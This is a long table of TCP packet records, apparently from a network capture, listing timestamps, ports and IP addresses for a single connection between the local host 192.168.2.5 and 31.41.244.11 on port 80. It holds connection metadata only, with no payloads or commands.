Dec 19, 2024 03:09:15.947117090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.947242022 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.947290897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.948033094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.948080063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.948188066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.948241949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.948992968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.949043989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.949139118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.949198008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.949990988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.950062037 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.950145006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.950196981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.950977087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.951021910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.951109886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.951159954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.952002048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.952053070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.952094078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.952142000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.952929974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.952977896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.953108072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.953159094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.953902960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.953952074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.954030037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.954080105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.954932928 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.954986095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.955080032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.955127954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.955878019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.955926895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.956006050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.956054926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.956856966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.956907988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.956993103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.957043886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.957844019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.957895994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.957983017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.958030939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.958807945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.958858013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.958950996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.959002018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.959759951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.959810019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.959924936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.959975004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.960755110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.960805893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.960892916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.960942984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.961726904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.961776972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.961879015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.961926937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.963339090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.963356018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.963392973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.963408947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.104885101 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.105036020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.105130911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.105185986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.105386972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.105437040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.105550051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.105602980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.105725050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.105778933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.106652975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.106668949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.106704950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.106731892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.107531071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.107582092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.107722998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.107778072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.108632088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.108648062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.108680964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.108694077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.109486103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.109508038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.109538078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.109550953 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.110321999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.110375881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.110502958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.110553026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.111530066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.111546993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.111588001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.111604929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.112373114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.112433910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.112536907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.112587929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.113413095 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.113462925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.113595963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.113656044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.114296913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.114460945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.114650965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.114698887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.115468979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.115485907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.115575075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.116297960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.116348982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.116477013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.116528988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.117307901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.117358923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.117451906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.117510080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.118293047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.118341923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.118485928 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.118542910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.119137049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.119185925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.119510889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.119570971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.120215893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.120265961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.120400906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.120450020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.121232033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.121279001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.121407986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.121459961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.122113943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.122162104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.122287989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.122332096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.123327017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.123342991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.123380899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.123394966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.124123096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.124176025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.124265909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.124314070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.125063896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.125117064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.125247002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.125293970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.126164913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.126216888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.126296043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.126343012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.127085924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.127132893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.127242088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.127332926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.127923012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.127971888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.128202915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.128254890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.129089117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.129138947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.129242897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.129292011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.130223036 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.130239964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.130274057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.130292892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.131032944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.131048918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.131087065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.131099939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.132009029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.132057905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.132194042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.132241964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.132494926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.132545948 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.132628918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.132678986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.133483887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.133533001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.133575916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.133625031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.134463072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.134516001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.134558916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.134608984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.135446072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.135497093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.135541916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.135593891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.136454105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.136507034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.136841059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.136892080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.139626980 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.139643908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.139661074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.139677048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.139678955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.139698982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.139723063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.139755011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.139801025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.140054941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.140104055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.140918016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.140933990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.140969992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.140983105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.141911030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.141963959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.142107964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.142806053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.142874956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.142942905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.142996073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.143887997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.143903971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.143948078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.143968105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.144630909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.144767046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.144829035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.145612955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.145667076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.145762920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.145813942 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.146703959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.146755934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.146869898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.146922112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.147712946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.147763014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.147897959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.147948980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.148596048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.148646116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.148787975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.148843050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.149627924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.149677992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.149784088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.149835110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.150636911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.150686979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.150790930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.150840998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.151674986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.151725054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.151797056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.151845932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.152498007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.152548075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.152678967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.152726889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.153528929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.153580904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.153711081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.153758049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.154540062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.154557943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.154591084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.154603958 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.155597925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.155615091 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.155647993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.155659914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.296772003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.296869040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.296957016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.296957016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.297249079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.297300100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.297353983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.297411919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.298310041 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.298378944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.298382044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.298432112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.299231052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.299350023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.299401045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.300205946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.300255060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.300298929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.300349951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.301194906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.301237106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.301314116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.301362038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.302160025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.302268028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.302318096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.303169012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.303229094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.303299904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.303354025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.304100990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.304222107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.304253101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.304272890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.305128098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.305175066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.305243969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.305294991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.306061983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.306180954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.306229115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.307055950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.307104111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.307167053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.307214022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.308017015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.308064938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.308137894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.308187962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.309005022 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.309051037 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.309108973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.309156895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.310009956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.310061932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.310103893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.310376883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.310966015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.311063051 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.311083078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.311135054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.311947107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.312064886 CET	80	49835	31.41.244.11	192.168.2.5
